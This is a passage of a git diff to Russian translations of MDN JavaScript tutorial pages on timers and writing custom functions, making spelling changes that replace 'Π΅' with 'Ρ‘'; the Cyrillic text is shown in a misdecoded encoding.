<li>ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚Π΅ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code><a href="/en-US/docs/Web/API/Document/keydown_event">keydown</a></code>Β . ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ любой ΠΊΠ½ΠΎΠΏΠΊΠΈ запускаСтся функция <code>keyHandler()</code>.</li>
- <li>Π’Π½ΡƒΡ‚Ρ€ΠΈΒ <code>keyHandler()</code>, ΠΊΠΎΠ΄ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β (прСдставлСнного <code>e</code>) β€” Π΅Π³ΠΎ свойство {{domxref("KeyboardEvent.key", "key")}} содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡƒΡŽ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это для ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ наТатия клавиш ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ дСйствиями.</li>
+ <li>Π’Π½ΡƒΡ‚Ρ€ΠΈΒ <code>keyHandler()</code>, ΠΊΠΎΠ΄ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β (прСдставлСнного <code>e</code>) β€” Π΅Π³ΠΎ свойство {{domxref("KeyboardEvent.key", "key")}} содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ Π½Π°ΠΆΠ°Ρ‚ΡƒΡŽ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это для ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ наТатия клавиш ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ дСйствиями.</li>
<li>УстановитС для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>isOver</code>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β false, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ, Π±Ρ‹Π»ΠΈ Π»ΠΈ Π½Π°ΠΆΠ°Ρ‚Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ клавиши, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ³Ρ€ΠΎΠΊ 1 ΠΈΠ»ΠΈΒ 2 Π²Ρ‹ΠΈΠ³Ρ€Π°Π». ΠœΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ³Ρ€Π° Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Π»Π°ΡΡŒ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ клавиши.</li>
<li>РСгистрация <code>e.key</code>Β Π² консоли, это ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ способ ΡƒΠ·Π½Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… клавиш, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Π΅.</li>
<li>Когда <code>e.key</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β "a", ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ сообщСниС о Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Player 1 Π²Ρ‹ΠΈΠ³Ρ€Π°Π», Π° ΠΊΠΎΠ³Π΄Π° <code>e.key</code> это "l", ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ сообщСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Player 2 Π²Ρ‹ΠΈΠ³Ρ€Π°Π». (<strong>Note:</strong>Β Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ со строчными Π±ΡƒΠΊΠ²Π°ΠΌΠΈΒ a ΠΈΒ l β€” Ссли ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ прописныС A ΠΈΠ»ΠΈΒ L , это считаСтся Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ клавишами!) Если Π±Ρ‹Π»Π° Π½Π°ΠΆΠ°Ρ‚Π° ΠΎΠ΄Π½Π° ΠΈΠ· этих клавиш, установитС для <code>isOver</code>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>true</code>.</li>
@@ -619,7 +619,7 @@ function start() {
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π’ΠΎΡ‚ ΠΈ всС — всС основы асинхронных Ρ†ΠΈΠΊΠ»ΠΎΠ² ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠ² рассмотрСны Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅. Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ситуациях, Π½ΠΎ ΠΏΠΎΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π½Π΅ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ ΠΈΠΌΠΈ! ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅, тяТСлыС ΠΈ интСнсивныС колбэки (особСнно Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ DOM) ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚ΡŒ страницу, Ссли Π²Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ остороТны.</p>
+<p>Π’ΠΎΡ‚ ΠΈ всС — всС основы асинхронных Ρ†ΠΈΠΊΠ»ΠΎΠ² ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠ² рассмотрСны Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅. Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ситуациях, Π½ΠΎ ΠΏΠΎΡΡ‚Π°Ρ€Π°ΠΉΡ‚Π΅ΡΡŒ Π½Π΅ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ ΠΈΠΌΠΈ! ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅, тяТёлыС ΠΈ интСнсивныС колбэки (особСнно Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ DOM) ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚ΡŒ страницу, Ссли Π²Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ остороТны.</p>
<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</p>
@@ -628,7 +628,7 @@ function start() {
<ul>
<li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ понятия асинхронного программирования</a></li>
<li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² асинхронный JavaScript</a></li>
- <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΉ асинхронный JavaScript: Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΉ асинхронный JavaScript: Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹</a></li>
<li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
<li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ асинхронноС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π»Π΅Π³Ρ‡Π΅ с async ΠΈΒ await</a></li>
<li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
diff --git a/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html b/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html
index f982970afe..b4fb0a262a 100644
--- a/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html
+++ b/files/ru/learn/javascript/building_blocks/build_your_own_function/index.html
@@ -18,7 +18,7 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function
</tr>
<tr>
<th scope="row">Π—Π°Π΄Π°Ρ‡Π°:</th>
- <td>ΠΠ°ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ.</td>
+ <td>ΠΠ°ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ.</td>
</tr>
</tbody>
</table>
@@ -31,7 +31,7 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function
<p>Ѐункция <code>alert</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ - строку, которая отобраТаСтся Π² окнС сообщСния Π½Π° Π²Π΅Π±-страницС ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ строку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ сообщСниС.</p>
-<p>Ѐункция <code>alert</code> ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ тСкст сообщСния, Π½ΠΎ Π½Π΅ получится ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ†Π²Π΅Ρ‚, Π·Π½Π°Ρ‡ΠΎΠΊ ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅. Π‘ΠΎΠ·Π΄Π°Π΄ΠΈΠΌ сообщСниС, Π±ΠΎΠ»Π΅Π΅ интСрСсноС ΠΏΠΎ ΡΡ‚ΠΈΠ»ΡŽ.</p>
+<p>Ѐункция <code>alert</code> ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ тСкст сообщСния, Π½ΠΎ Π½Π΅ получится ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ†Π²Π΅Ρ‚, Π·Π½Π°Ρ‡ΠΎΠΊ ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘. Π‘ΠΎΠ·Π΄Π°Π΄ΠΈΠΌ сообщСниС, Π±ΠΎΠ»Π΅Π΅ интСрСсноС ΠΏΠΎ ΡΡ‚ΠΈΠ»ΡŽ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²ΠΎ всСх соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ ΡΡ‚ΠΈΠ»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠΌΠ΅ΡˆΠ½Ρ‹ΠΌ Π² Π±ΠΎΠ»Π΅Π΅ старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π²Π°ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ это ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ Π² соврСмСнном Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ Firefox, Opera ΠΈΠ»ΠΈ Chrome.</p>
@@ -39,10 +39,10 @@ translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function
<h2 id="Основная_функция">Основная функция</h2>
-<p>Для Π½Π°Ρ‡Π°Π»Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрСм ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ собСрём ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Для согласований ΠΈΠΌΠ΅Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π½ΡƒΠΆΠ½ΠΎ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Variables#ΠŸΡ€Π°Π²ΠΈΠ»Π°_имСнования_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">ΠΏΡ€Π°Π²ΠΈΠ»Π° имСнования ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</a>. ΠžΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΈΠΌΠ΅Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΎΡ‚ ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… просто: послС ΠΈΠΌΠ΅Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки, Π° послС ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΡ… Π½Π΅Ρ‚.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Для согласований ΠΈΠΌΡ‘Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π½ΡƒΠΆΠ½ΠΎ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Variables#ΠŸΡ€Π°Π²ΠΈΠ»Π°_имСнования_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">ΠΏΡ€Π°Π²ΠΈΠ»Π° имСнования ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</a>. ΠžΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΈΠΌΠ΅Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΎΡ‚ ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… просто: послС ΠΈΠΌΡ‘Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки, Π° послС ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΡ… Π½Π΅Ρ‚.</p>
</div>
<ol>
@@ -81,9 +81,9 @@ closeBtn.onclick = function() {
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ другая функция DOM API, называСмая {{domxref ("Document.createElement()")}}, примСняСтся для создания элСмСнта {{htmlelement ("div")}} ΠΈ сохраняСт ссылку Π½Π° Π½Π΅Π³ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ <code>panel</code>. Π­Ρ‚ΠΎΡ‚ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ внСшним ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ нашСго ΠΎΠΊΠ½Π° сообщСний.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ DOM API, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ {{domxref ("Element.setAttribute()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>class</code> Π½Π° нашСй ΠΏΠ°Π½Π΅Π»ΠΈ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>msgBox</code>. Π­Ρ‚ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ элСмСнта. Если Π²Ρ‹ посмотритС Π½Π° CSS Π½Π° страницС, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ сСлСктор класса <code>.msgBox</code> для стилизации ΠΎΠΊΠ½Π° сообщСния ΠΈ Π΅Π³ΠΎ содСрТимого.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ DOM API, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ {{domxref ("Element.setAttribute()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>class</code> Π½Π° нашСй ΠΏΠ°Π½Π΅Π»ΠΈ со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>msgBox</code>. Π­Ρ‚ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ элСмСнта. Если Π²Ρ‹ посмотритС Π½Π° CSS Π½Π° страницС, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ сСлСктор класса <code>.msgBox</code> для стилизации ΠΎΠΊΠ½Π° сообщСния ΠΈ Π΅Π³ΠΎ содСрТимого.</p>
-<p>НаконСц, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ DOM с ΠΈΠΌΠ΅Π½Π΅ΠΌ {{domxref ("Node.appendChild()")}} Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>html</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ сохранили Ρ€Π°Π½Π΅Π΅, которая Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ элСмСнт Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠ°ΠΊ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт. Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ панСль <code>&lt;div&gt;</code> ΠΊΠ°ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΡŒ элСмСнта <code>&lt;html&gt;</code>. Π’ΠΎ Π΅ΡΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ создаСм ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ элСмСнт, ΠΎΠ½ Π½Π΅ просто Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π° страницС сам ΠΏΠΎ сСбС, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΡƒΠ΄Π° Π΅Π³ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ.</p>
+<p>НаконСц, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ DOM с ΠΈΠΌΠ΅Π½Π΅ΠΌ {{domxref ("Node.appendChild()")}} Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>html</code>, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ сохранили Ρ€Π°Π½Π΅Π΅, которая Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ элСмСнт Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠ°ΠΊ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт. Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ панСль <code>&lt;div&gt;</code> ΠΊΠ°ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΡŒ элСмСнта <code>&lt;html&gt;</code>. Π’ΠΎ Π΅ΡΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ создаём ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ элСмСнт, 